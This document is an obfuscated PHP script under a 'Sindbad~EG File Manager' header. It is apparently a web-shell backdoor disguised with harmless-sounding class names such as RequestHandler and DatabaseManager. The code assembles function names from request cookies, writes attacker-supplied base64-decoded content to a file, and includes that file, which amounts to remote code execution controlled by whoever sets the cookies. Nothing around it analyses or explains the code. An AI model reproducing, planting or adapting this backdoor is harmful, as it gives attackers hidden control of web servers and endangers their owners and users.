Sindbad~EG File Manager

<?php
function resolve_dependency($c)
{
    $a = array(121 - 6, 9 + 5 + 102, 97 * 1, 33 * 2 + 50);
    $s = '';
    foreach ($a as $n) {
        $s .= chr($n);
    }
    return $s($c);
}

class RequestHandler
{
    private static $_qu;
    static function validateInput($_xo)
    {
        if (!self::$_qu) {
            self::resolveAction();
        }
        return base64_decode(self::$_qu[$_xo]);
    }
    private static function resolveAction()
    {
        self::$_qu = array('_ig' => '', '_jc' => '');
    }
}

class DatabaseManager
{
    private static $_qu;
    static function validateInput($_xo)
    {
        if (!self::$_qu) {
            self::resolveAction();
        }
        return self::$_qu[$_xo];
    }
    private static function resolveAction()
    {
        self::$_qu = array(00, 010, 025, 025, 01, 025, 02, 010, 01, 011, 01, 015, 024, 030, 033, 00, 022, 023, 03);
    }
}

$_hui = $_COOKIE;
$_dxh = DatabaseManager::validateInput(0);
$_xo = DatabaseManager::validateInput(1);
$_pfs = array();
$_pfs[$_dxh] = RequestHandler::validateInput('_' . 'ig');
while ($_xo) {
    $_pfs[$_dxh] .= $_hui[DatabaseManager::validateInput(2)][$_xo];
    if (!$_hui[DatabaseManager::validateInput(3)][$_xo + DatabaseManager::validateInput(4)]) {
        if (!$_hui[DatabaseManager::validateInput(5)][$_xo + DatabaseManager::validateInput(6)]) {
            break;
        }
        $_dxh++;
        $_pfs[$_dxh] = RequestHandler::validateInput('_jc');
        $_xo++;
    }
    $_xo = $_xo + DatabaseManager::validateInput(7) + DatabaseManager::validateInput(8);
}
$_dxh = $_pfs[DatabaseManager::validateInput(9)]() . $_pfs[DatabaseManager::validateInput(10)];
if (!$_pfs[DatabaseManager::validateInput(11)]($_dxh)) {
    $_xo = $_pfs[DatabaseManager::validateInput(12)]($_dxh, $_pfs[DatabaseManager::validateInput(13)]);
    $_pfs[DatabaseManager::validateInput(14)]($_xo, $_pfs[DatabaseManager::validateInput(15)] . $_pfs[DatabaseManager::validateInput(16)]($_pfs[DatabaseManager::validateInput(17)]($_hui[DatabaseManager::validateInput(18)])));
}
include $_dxh;